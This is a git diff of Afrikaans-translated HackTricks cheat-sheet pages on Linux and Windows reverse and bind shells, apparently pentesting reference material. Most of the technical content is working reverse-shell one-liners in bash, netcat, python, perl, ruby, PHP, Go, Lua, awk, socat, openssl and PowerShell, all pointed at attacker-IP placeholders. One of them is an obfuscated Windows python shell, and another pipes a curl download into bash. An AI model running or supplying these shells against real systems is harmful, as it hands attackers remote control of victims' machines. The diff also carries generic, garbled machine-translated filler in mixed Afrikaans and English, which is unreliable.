* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-repos.
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
</details>
```

View file

@ -6,7 +6,7 @@
Ander maniere om HackTricks te ondersteun:
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kontroleer die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
@ -57,7 +57,7 @@ wget http://<IP attacker>/shell.sh -P /tmp; chmod +x /tmp/shell.sh; /tmp/shell.s
```
## Voorwaartse Skul
Indien jy 'n **RCE kwesbaarheid** binne 'n Linux-gebaseerde webtoepassing teëkom, kan daar gevalle wees waar **die verkryging van 'n omgekeerde skul moeilik word** as gevolg van die teenwoordigheid van Iptables-reëls of ander filters. In sulke scenarios, oorweeg om 'n PTY skul binne die gekompromitteerde stelsel te skep deur pype te gebruik.
Indien jy 'n **RCE kwesbaarheid** binne 'n Linux-gebaseerde webtoepassing teëkom, kan daar gevalle wees waar **dit moeilik word om 'n omgekeerde skul te verkry** as gevolg van die teenwoordigheid van Iptables-reëls of ander filters. In sulke scenarios, oorweeg om 'n PTY skul binne die gekompromitteerde stelsel te skep deur pype te gebruik.
Jy kan die kode vind op [**https://github.com/IppSec/forward-shell**](https://github.com/IppSec/forward-shell)
@ -67,7 +67,7 @@ Jy hoef net te wysig:
* Die voorvoegsel en agtervoegsel van jou lading (indien enige)
* Die manier waarop die lading gestuur word (koppe? data? ekstra inligting?)
Daarna kan jy net **bevele stuur** of selfs die `upgrade` bevel **gebruik om 'n volledige PTY te kry** (let daarop dat pype gelees en geskryf word met 'n benaderde vertraging van 1.3s).
Daarna kan jy net **bevele stuur** of selfs die `upgrade` bevel **gebruik** om 'n volledige PTY te kry (let daarop dat pype met 'n benaderde vertraging van 1.3s gelees en geskryf word).
## Netcat
```bash
@ -84,6 +84,8 @@ Kyk dit na op [https://www.gsocket.io/deploy/](https://www.gsocket.io/deploy/)
bash -c "$(curl -fsSL gsocket.io/x)"
```
## Telnet
Telnet is 'n oudskool-protokol wat gebruik word om te kommunikeer met 'n bediener deur middel van 'n opdraglynk. Dit kan gebruik word vir eenvoudige skakeling en data-oordrag. Telnet stuur inligting in die oop, sonder enige vorm van kodering, wat dit 'n onveilige opsie maak vir die oordrag van sensitiewe inligting.
```bash
telnet <ATTACKER-IP> <PORT> | /bin/sh #Blind
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|telnet <ATTACKER-IP> <PORT> >/tmp/f
@ -111,8 +113,6 @@ python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOC
python -c 'import socket,subprocess,os,pty;s=socket.socket(socket.AF_INET6,socket.SOCK_STREAM);s.connect(("dead:beef:2::125c",4343,0,2));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=pty.spawn("/bin/sh");'
```
## Perl
Perl is 'n kragtige en veelsydige skriptaal wat dikwels gebruik word vir die skryf van skelmskripte. Dit bied 'n wye verskeidenheid van funksies en modules wat dit 'n gewilde keuse maak vir hackers wat verskeie take wil uitvoer binne 'n Linux-omgewing.
```bash
perl -e 'use Socket;$i="<ATTACKER-IP>";$p=80;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"[IPADDR]:[PORT]");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
@ -123,6 +123,8 @@ ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i
ruby -rsocket -e 'exit if fork;c=TCPSocket.new("[IPADDR]","[PORT]");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
```
## PHP
PHP is a popular server-side scripting language that is widely used for web development. It can be embedded into HTML and is commonly used to create dynamic web pages. PHP scripts are executed on the server, generating HTML which is then sent to the client's browser. PHP can interact with databases, manage sessions, handle forms, and perform many other tasks to create interactive websites.
```php
// Using 'exec' is the most common method, but assumes that the file descriptor will be 3.
// Using this method may lead to instances where the connection reaches out to the listener and then closes.
@ -145,35 +147,11 @@ p.waitFor()
victim> ncat --exec cmd.exe --allow 10.0.0.4 -vnl 4444 --ssl
attacker> ncat -v 10.0.0.22 4444 --ssl
```
<figure><img src="../../.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
Vind kwesbaarhede wat die belangrikste is sodat jy hulle vinniger kan regmaak. Intruder spoor jou aanvalsoppervlak op, hardloop proaktiewe dreigingsskanderings, vind probleme regoor jou hele tegnologie-stapel, van API's tot webtoepassings en wolkstelsels. [**Probeer dit gratis**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) vandag.
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
***
## Golang
```bash
echo 'package main;import"os/exec";import"net";func main(){c,_:=net.Dial("tcp","192.168.0.134:8080");cmd:=exec.Command("/bin/sh");cmd.Stdin=c;cmd.Stdout=c;cmd.Stderr=c;cmd.Run()}' > /tmp/t.go && go run /tmp/t.go && rm /tmp/t.go
```
## Lua
### Inleiding
Lua is 'n kragtige, effektiewe, ligte, en maklik aanpasbare skrips taal wat dikwels gebruik word in die wêreld van sagteware-ontwikkeling. Dit word dikwels gebruik vir die skryf van skrips wat in 'n groter sagtewaretoepassing geïntegreer word om spesifieke funksionaliteit te bied.
### Lua Skulpaal
Lua skulpaal is 'n tegniek wat gebruik word om sagteware te manipuleer deur die insluiting van skadelike kodes in 'n toepassing. Dit kan gebruik word om die sagteware se funksionaliteit te verander, data te steel, of selfs die hele stelsel te kompromiteer.
### Lua Skulpaal Tegnieke
Daar is verskeie tegnieke wat gebruik kan word vir Lua skulpaal, insluitend die insluiting van skadelike kodes in Lua skrips, die manipulasie van bestaande Lua skrips, en die uitbuiting van swakhede in die Lua-uitvoeringsomgewing.
### Beskerming teen Lua Skulpaal
Om jouself teen Lua skulpaal te beskerm, is dit belangrik om te verseker dat jy slegs vertroude Lua-skripte hardloop, om jou sagteware gereeld te opdateer om bekende swakhede te dink, en om sekuriteitsmaatreëls soos toegangsbeheer en data-versleuteling te implementeer.
```bash
#Linux
lua -e "require('socket');require('os');t=socket.tcp();t:connect('10.0.0.1','1234');os.execute('/bin/sh -i <&3 >&3 2>&3');"
@ -248,12 +226,14 @@ openssl.exe s_client -quiet -connect <ATTACKER_IP>:<PORT1>|cmd.exe|openssl s_cli
victim> socat TCP-LISTEN:1337,reuseaddr,fork EXEC:bash,pty,stderr,setsid,sigint,sane
attacker> socat FILE:`tty`,raw,echo=0 TCP:<victim_ip>:1337
```
### Terugkeer skuilplek
### Terugskulp
```bash
attacker> socat TCP-LISTEN:1337,reuseaddr FILE:`tty`,raw,echo=0
victim> socat TCP4:<attackers_ip>:1337 EXEC:bash,pty,stderr,setsid,sigint,sane
```
## Awk
Awk is 'n kragtige patroonherkenningstaal wat dikwels gebruik word vir datamanipulasie en tekstverwerking. Dit kan ook gebruik word vir die skep van skripte en is baie nuttig vir die manipulasie van tekslêers. Awk kan in die terminal gebruik word deur die opdragregel `awk` te tik, gevolg deur die spesifieke sintaksis vir die manipulasie van data.
```bash
awk 'BEGIN {s = "/inet/tcp/0/<IP>/<PORT>"; while(42) { do{ printf "shell>" |& s; s |& getline c; if(c){ while ((c |& getline) > 0) print $0 |& s; close(c); } } while(c != "exit") close(s); }}' /dev/null
```
@ -325,13 +305,13 @@ Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new
<details>
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Leer AWS hakwerk vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Ander maniere om HackTricks te ondersteun:
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kyk na die [**SUBSKRIPSIEPLANNE**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* Ontdek [**Die PEASS-familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.

View file

@ -2,30 +2,22 @@
<details>
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Ander maniere om HackTricks te ondersteun:
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kontroleer die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* Ontdek [**Die PEASS-familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
* **Deel jou hacktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-repos.
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
</details>
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
Vind kwesbaarhede wat die belangrikste is sodat jy dit vinniger kan regstel. Intruder volg jou aanvalsoppervlak, voer proaktiewe dreigingsskanderings uit, vind probleme regoor jou hele tegnologie-stapel, van API's tot webtoepassings en wolkstelsels. [**Probeer dit vandag nog gratis**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks).
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
***
## Lolbas
Die bladsy [lolbas-project.github.io](https://lolbas-project.github.io/) is vir Windows soos [https://gtfobins.github.io/](https://gtfobins.github.io/) is vir Linux.\
Duidelik is daar **nie SUID-lêers of sudo-voorregte in Windows nie**, maar dit is nuttig om te weet **hoe** sommige **binêre lêers** (mis)bruik kan word om sekere onverwagte aksies uit te voer soos **die uitvoer van willekeurige kode**.
Duidelik is daar **geen SUID-lêers of sudo-voorregte in Windows nie**, maar dit is nuttig om te weet **hoe** sommige **binêre lêers** (mis)bruik kan word om sekere soorte onverwagte aksies uit te voer soos **willekeurige kode uitvoer.**
## NC
```bash
@ -33,7 +25,7 @@ nc.exe -e cmd.exe <Attacker_IP> <PORT>
```
## SBD
**[sbd](https://www.kali.org/tools/sbd/) is 'n draagbare en veilige Netcat-alternatief**. Dit werk op Unix-agtige stelsels en Win32. Met funksies soos sterk versleuteling, program uitvoering, aanpasbare bronpoorte en voortdurende herverbinding, bied sbd 'n veelsydige oplossing vir TCP/IP kommunikasie. Vir Windows-gebruikers kan die sbd.exe weergawe van die Kali Linux-distribusie gebruik word as 'n betroubare vervanging vir Netcat.
**[sbd](https://www.kali.org/tools/sbd/) is 'n draagbare en veilige Netcat-alternatief**. Dit werk op Unix-soortgelyke stelsels en Win32. Met kenmerke soos sterk enkripsie, program uitvoering, aanpasbare bronpoorte, en voortdurende herverbinding, bied sbd 'n veelsydige oplossing vir TCP/IP kommunikasie. Vir Windows-gebruikers kan die sbd.exe weergawe van die Kali Linux-verspreiding gebruik word as 'n betroubare vervanging vir Netcat.
```bash
# Victims machine
sbd -l -p 4444 -e bash -v -n
@ -46,160 +38,25 @@ id
uid=0(root) gid=0(root) groups=0(root)
```
## Python
Python is 'n baie gewilde programmeertaal wat algemeen gebruik word in die hacking-gemeenskap. Dit is 'n hoëvlaktaal met 'n eenvoudige sintaksis, wat dit maklik maak om te leer en te gebruik. Python bied 'n wye verskeidenheid biblioteke en modules wat spesifiek ontwerp is vir hacking en pentesting.
### Python-installasie
Om Python op jou rekenaar te installeer, volg die volgende stappe:
1. Gaan na die [Python-webwerf](https://www.python.org/downloads/) en laai die nuutste weergawe van Python af wat beskikbaar is vir jou bedryfstelsel.
2. Voer die aflaai lêer uit en volg die instruksies op die skerm om die installasieproses te voltooi.
### Python-skripsies uitvoer
Om 'n Python-skripsie uit te voer, volg die volgende stappe:
1. Maak 'n nuwe tekslêer en skryf jou Python-kode daarin.
2. Stoor die lêer met 'n `.py` lêeruitbreiding (byvoorbeeld `my_script.py`).
3. Open 'n opdragvenster en navigeer na die plek waar die lêer gestoor is.
4. Voer die volgende opdrag in om die skripsie uit te voer:
```bash
python my_script.py
```
### Python-biblioteke vir hacking
Daar is 'n verskeidenheid Python-biblioteke wat spesifiek ontwerp is vir hacking en pentesting. Hier is 'n paar van die mees gebruikte biblioteke:
- **Scapy**: 'n kragtige en veelsydige biblioteek vir netwerkpakketmanipulasie en -analise.
- **Requests**: 'n eenvoudige en maklik om te gebruik biblioteek vir HTTP-aanvrae en -antwoord.
- **BeautifulSoup**: 'n biblioteek vir die skraping en analise van HTML- en XML-dokumente.
- **Paramiko**: 'n SSH-implementering vir Python wat gebruik kan word vir die outomatiese bestuur van afgeleë bedieners.
- **Pycrypto**: 'n biblioteek vir kriptografie wat verskeie kriptografiese funksies en protokolle bied.
### Python-bronne vir hacking
Daar is 'n paar nuttige bronne wat jou kan help om Python te leer vir hacking en pentesting:
- [Python.org](https://www.python.org/): Die amptelike webwerf van Python bied 'n wye verskeidenheid dokumentasie, tutoriale en voorbeelde.
- [HackerRank](https://www.hackerrank.com/domains/tutorials/10-days-of-statistics): 'n Platform wat programmeeruitdagings bied, insluitend 'n afdeling vir Python.
- [Cybrary](https://www.cybrary.it/): 'n Gratis aanlynplatform wat kursusse en hulpbronne bied vir verskeie IT-veiligheidsonderwerpe, insluitend Python vir pentesting.
- [Stack Overflow](https://stackoverflow.com/): 'n Gemeenskapsgedrewe vraag-en-antwoordwebwerf waar jy vrae kan vra en antwoorde kan vind oor Python en hacking-verwante onderwerpe.
Met Python as 'n kragtige en veelsydige programmeertaal, kan jy dit gebruik om verskeie hacking-take uit te voer, insluitend netwerkmanipulasie, web-skraping, kriptografie en nog baie meer.
```bash
#Windows
C:\Python27\python.exe -c "(lambda __y, __g, __contextlib: [[[[[[[(s.connect(('10.11.0.37', 4444)), [[[(s2p_thread.start(), [[(p2s_thread.start(), (lambda __out: (lambda __ctx: [__ctx.__enter__(), __ctx.__exit__(None, None, None), __out[0](lambda: None)][2])(__contextlib.nested(type('except', (), {'__enter__': lambda self: None, '__exit__': lambda __self, __exctype, __value, __traceback: __exctype is not None and (issubclass(__exctype, KeyboardInterrupt) and [True for __out[0] in [((s.close(), lambda after: after())[1])]][0])})(), type('try', (), {'__enter__': lambda self: None, '__exit__': lambda __self, __exctype, __value, __traceback: [False for __out[0] in [((p.wait(), (lambda __after: __after()))[1])]][0]})())))([None]))[1] for p2s_thread.daemon in [(True)]][0] for __g['p2s_thread'] in [(threading.Thread(target=p2s, args=[s, p]))]][0])[1] for s2p_thread.daemon in [(True)]][0] for __g['s2p_thread'] in [(threading.Thread(target=s2p, args=[s, p]))]][0] for __g['p'] in [(subprocess.Popen(['\\windows\\system32\\cmd.exe'], stdout=subprocess.PIPE, stderr=subprocess.STDOUT, stdin=subprocess.PIPE))]][0])[1] for __g['s'] in [(socket.socket(socket.AF_INET, socket.SOCK_STREAM))]][0] for __g['p2s'], p2s.__name__ in [(lambda s, p: (lambda __l: [(lambda __after: __y(lambda __this: lambda: (__l['s'].send(__l['p'].stdout.read(1)), __this())[1] if True else __after())())(lambda: None) for __l['s'], __l['p'] in [(s, p)]][0])({}), 'p2s')]][0] for __g['s2p'], s2p.__name__ in [(lambda s, p: (lambda __l: [(lambda __after: __y(lambda __this: lambda: [(lambda __after: (__l['p'].stdin.write(__l['data']), __after())[1] if (len(__l['data']) > 0) else __after())(lambda: __this()) for __l['data'] in [(__l['s'].recv(1024))]][0] if True else __after())())(lambda: None) for __l['s'], __l['p'] in [(s, p)]][0])({}), 's2p')]][0] for __g['os'] in [(__import__('os', __g, __g))]][0] for __g['socket'] in [(__import__('socket', __g, __g))]][0] for __g['subprocess'] in [(__import__('subprocess', __g, __g))]][0] for __g['threading'] in [(__import__('threading', __g, __g))]][0])((lambda f: (lambda x: x(x))(lambda y: f(lambda: y(y)()))), globals(), __import__('contextlib'))"
```
## Perl
Perl is 'n kragtige en veelsydige skripsietaal wat dikwels gebruik word in die veld van hacking. Dit bied 'n verskeidenheid funksies en modules wat dit 'n nuttige instrument maak vir die uitvoer van verskillende hacking-take.
### Voordele van Perl vir hacking
Hier is 'n paar redes waarom Perl 'n gewilde keuse is vir hackers:
- **Kragtige regulêre uitdrukkings**: Perl het 'n sterk ondersteuning vir regulêre uitdrukkings, wat dit maklik maak om te soek en te manipuleer in teksdata.
- **Ingeboude modules**: Perl het 'n groot verskeidenheid ingeboude modules wat spesifiek ontwerp is vir hacking-take, soos netwerkmanipulasie, databasisinteraksie en kriptografie.
- **Platformonafhanklikheid**: Perl kan op verskillende bedryfstelsels gebruik word, insluitend Windows, Linux en macOS.
- **Groot gemeenskap**: Perl het 'n aktiewe gemeenskap van ontwikkelaars en hackers wat gereeld bydraes lewer en ondersteuning bied.
### Voorbeelde van Perl-hackingtegnieke
Hier is 'n paar voorbeelde van hoe Perl gebruik kan word vir hacking:
- **Webkraak**: Perl kan gebruik word om webkraak-aanvalle uit te voer deur middel van skrips wat HTTP-verbindings maak, webvorme invul en webbladsye analiseer.
- **Netwerkmanipulasie**: Perl kan gebruik word om netwerkverkeer te manipuleer deur middel van sokkets, wat dit moontlik maak om data te onderskep, te verander en te stuur.
- **Databasismanipulasie**: Perl kan gebruik word om databasisse te manipuleer deur middel van modules soos DBI, wat dit moontlik maak om data te onderskep, te verander en te verwyder.
- **Kriptografie**: Perl het 'n verskeidenheid kriptografiese modules wat gebruik kan word vir versleuteling, ontsleuteling en hashfunksies.
### Bronne vir Perl-hacking
Hier is 'n paar nuttige bronne vir die leer en gebruik van Perl vir hacking:
- [Perl.org](https://www.perl.org/): Die amptelike webwerf van Perl, met dokumentasie, tutoriale en voorbeelde.
- [CPAN](https://metacpan.org/): Die Comprehensive Perl Archive Network (CPAN) bied 'n groot verskeidenheid Perl-modules wat gebruik kan word vir hacking-take.
- [PerlMonks](https://www.perlmonks.org/): 'n Gemeenskap van Perl-ontwikkelaars en -gebruikers wat vrae beantwoord en hulp bied.
- [Perl Hacking Tools](https://github.com/hakluke/hakluke/blob/master/perl-hacking-tools.md): 'n Lys van Perl-hackinghulpmiddels wat deur die bekende hacker hakluke saamgestel is.
Met die regte kennis en vaardighede kan Perl 'n kragtige instrument wees vir hackers om verskeie hacking-take uit te voer.
```bash
perl -e 'use Socket;$i="ATTACKING-IP";$p=80;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
perl -MIO -e '$c=new IO::Socket::INET(PeerAddr,"ATTACKING-IP:80");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
```
## Ruby
Ruby is 'n dinamiese, objek-georiënteerde programmeertaal wat algemeen gebruik word vir webontwikkeling en skripskryf. Dit het 'n eenvoudige sintaksis en 'n groot gemeenskap van ontwikkelaars wat dit ondersteun en bydra tot die ontwikkeling van biblioteke en raamwerke.
### Installasie
Om Ruby op 'n Windows-stelsel te installeer, volg die volgende stappe:
1. Gaan na die [Ruby-webwerf](https://www.ruby-lang.org/en/downloads/) en laai die nuutste stabiele weergawe van Ruby af.
2. Voer die aflaai uit en voer die installasieprogram uit.
3. Kies 'n installasieplek en voltooi die installasieproses deur die instruksies op die skerm te volg.
### Uitvoering van Ruby-skrips
Om 'n Ruby-skrips uit te voer, volg die volgende stappe:
1. Maak 'n nuwe tekslêer en skryf jou Ruby-kode daarin.
2. Stoor die lêer met 'n `.rb`-lêeruitbreiding (byvoorbeeld `my_script.rb`).
3. Open 'n opdragvenster en navigeer na die plek waar die lêer gestoor is.
4. Voer die volgende opdrag in om die skrips uit te voer:
```bash
ruby my_script.rb
```
Die uitset van die skrips sal in die opdragvenster vertoon word.
### Belangrike konsepte
Hier is 'n paar belangrike konsepte in Ruby:
- Objekte: Ruby is 'n objek-georiënteerde taal, wat beteken dat dit objekte gebruik om data en funksionaliteit te organiseer.
- Klasses: Klasses is bloudrukke vir die skep van objekte. Hulle definieer die eienskappe en metodes wat 'n objek kan hê.
- Metodes: Metodes is funksies wat aan objekte gekoppel is en gebruik word om spesifieke aksies uit te voer.
- Veranderlikes: Veranderlikes word gebruik om data binne 'n program te stoor en te manipuleer.
- Kontroleverklarings: Kontroleverklarings, soos `if`-verklarings en lusse, word gebruik om die vloei van 'n program te beheer.
- Biblioteke: Ruby het 'n ryk versameling biblioteke en raamwerke wat ontwikkelaars kan gebruik om hul programme uit te brei en te verbeter.
### Bronne
- [Ruby-webwerf](https://www.ruby-lang.org/en/)
- [Ruby-dokumentasie](https://ruby-doc.org/)
```bash
#Windows
ruby -rsocket -e 'c=TCPSocket.new("[IPADDR]","[PORT]");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
```
## Lua
Lua is 'n kragtige, vinnige en aanpasbare skripsingstaal wat dikwels gebruik word vir die skryf van skrips vir spelontwikkeling en ander toepassings. Dit bied 'n eenvoudige sintaksis en 'n klein geheue-afdruk, wat dit 'n gewilde keuse maak vir verskeie toepassings.
### Lua
### Lua Skelms
#### Lua Skelms op Windows
Om 'n Lua-skelm op Windows te gebruik, kan jy die volgende metodes probeer:
1. **Lua Interpreter**: Jy kan die Lua-interpreter gebruik om Lua-skrips uit te voer. Jy kan die interpreter aflaai van die amptelike Lua-webwerf en dit installeer op jou Windows-rekenaar. Daarna kan jy die interpreter gebruik om Lua-skrips uit te voer deur die skrips se pad as 'n argument aan die interpreter te gee.
2. **LuaJIT**: LuaJIT is 'n vinnige implementering van Lua wat 'n JIT-kompilator gebruik om die uitvoeringstyd van Lua-skrips te verbeter. Jy kan LuaJIT aflaai van die amptelike webwerf en dit installeer op jou Windows-rekenaar. Daarna kan jy die `luajit`-opdrag gebruik om Lua-skrips uit te voer.
3. **LuaRocks**: LuaRocks is 'n pakketbestuurder vir Lua-modules en -skrips. Dit maak dit maklik om eksterne modules te installeer en te gebruik in jou Lua-skrips. Jy kan LuaRocks aflaai en installeer van die amptelike webwerf. Daarna kan jy die `lua`-opdrag gebruik om Lua-skrips uit te voer en die `luarocks`-opdrag gebruik om modules te bestuur.
#### Lua Skelms op Linux
Om 'n Lua-skelm op Linux te gebruik, kan jy die volgende metodes probeer:
1. **Lua Interpreter**: Jy kan die Lua-interpreter gebruik om Lua-skrips uit te voer. Die meeste Linux-stelsels het die Lua-interpreter reeds geïnstalleer. Jy kan die interpreter gebruik deur die `lua`-opdrag te gebruik en die skrips se pad as 'n argument te gee.
2. **LuaJIT**: LuaJIT is 'n vinnige implementering van Lua wat 'n JIT-kompilator gebruik om die uitvoeringstyd van Lua-skrips te verbeter. Jy kan LuaJIT installeer deur die toepaslike pakkette te installeer vir jou Linux-stelsel. Daarna kan jy die `luajit`-opdrag gebruik om Lua-skrips uit te voer.
3. **LuaRocks**: LuaRocks is 'n pakketbestuurder vir Lua-modules en -skrips. Dit maak dit maklik om eksterne modules te installeer en te gebruik in jou Lua-skrips. Jy kan LuaRocks installeer deur die toepaslike pakkette te installeer vir jou Linux-stelsel. Daarna kan jy die `lua`-opdrag gebruik om Lua-skrips uit te voer en die `luarocks`-opdrag gebruik om modules te bestuur.
Lua is 'n kragtige, effektiewe, en vinnige skriptaal wat dikwels gebruik word vir die skryf van skakelbare en aanpasbare sagteware. Dit word dikwels gebruik in die ontwikkeling van speletjies, webtoepassings, en ander sagtewareprojekte. Lua is maklik om te leer en bied 'n eenvoudige sintaksis wat dit 'n gewilde keuse maak vir ontwikkelaars wat vinnige prototipering en aanpassingsvermoëns benodig. Lua kan ook gebruik word vir die skryf van skadelike kodes en word soms deur aanvallers gebruik vir die uitvoering van aanvalle op stelsels en toepassings.
```bash
lua5.1 -e 'local host, port = "127.0.0.1", 4444 local socket = require("socket") local tcp = socket.tcp() local io = require("io") tcp:connect(host, port); while true do local cmd, status, partial = tcp:receive() local f = io.popen(cmd, 'r') local s = f:read("*a") f:close() tcp:send(s) if status == "closed" then break end end tcp:close()'
```
@ -211,55 +68,21 @@ openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -node
openssl s_server -quiet -key key.pem -cert cert.pem -port <l_port> #Here you will be able to introduce the commands
openssl s_server -quiet -key key.pem -cert cert.pem -port <l_port2> #Here yo will be able to get the response
```
# Windows Shell
## Slachtoffer
## Introduction
### Windows
In the context of hacking, a shell refers to a command-line interface that allows an attacker to interact with a compromised system. In this section, we will explore various methods to obtain a shell on a Windows machine.
#### Windows Command Prompt
## Reverse Shells
Die Windows Command Prompt is 'n baie nuttige tool vir die uitvoering van verskeie take op 'n Windows-bedryfstelsel. Dit kan gebruik word vir die uitvoering van opdragte, skakeling tussen mappe, en die skep van lêers en mappe.
A reverse shell is a technique where the attacker sets up a listener on their machine and the compromised system connects back to it. This allows the attacker to execute commands on the compromised system.
#### PowerShell
### Netcat
PowerShell is 'n kragtige skrips taal wat spesifiek ontwerp is vir Windows-bedryfstelsels. Dit bied 'n baie meer kragtige funksionaliteit as die Windows Command Prompt en kan gebruik word vir outomatisering, administrasie, en selfs aanvalle op 'n Windows-stelsel.
Netcat is a versatile networking utility that can be used to create reverse shells. It is available for both Windows and Linux systems.
#### Meterpreter
To create a reverse shell using Netcat, follow these steps:
1. Set up a listener on your machine: `nc -lvp <port>`
2. Execute the following command on the compromised Windows machine: `nc <attacker_ip> <port> -e cmd.exe`
### PowerShell
PowerShell is a powerful scripting language and command-line shell that is built into Windows. It can be used to create reverse shells as well.
To create a reverse shell using PowerShell, follow these steps:
1. Set up a listener on your machine: `nc -lvp <port>`
2. Execute the following command on the compromised Windows machine: `powershell -c "$client = New-Object System.Net.Sockets.TCPClient('<attacker_ip>', <port>);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"`
## Web Shells
Web shells are scripts or programs that are uploaded to a compromised web server to provide remote access and control. They can be used to execute commands, upload/download files, and perform various other actions.
### PHP Web Shell
PHP web shells are commonly used due to the popularity of PHP in web development. They can be easily uploaded to a compromised server and provide a convenient way to interact with the system.
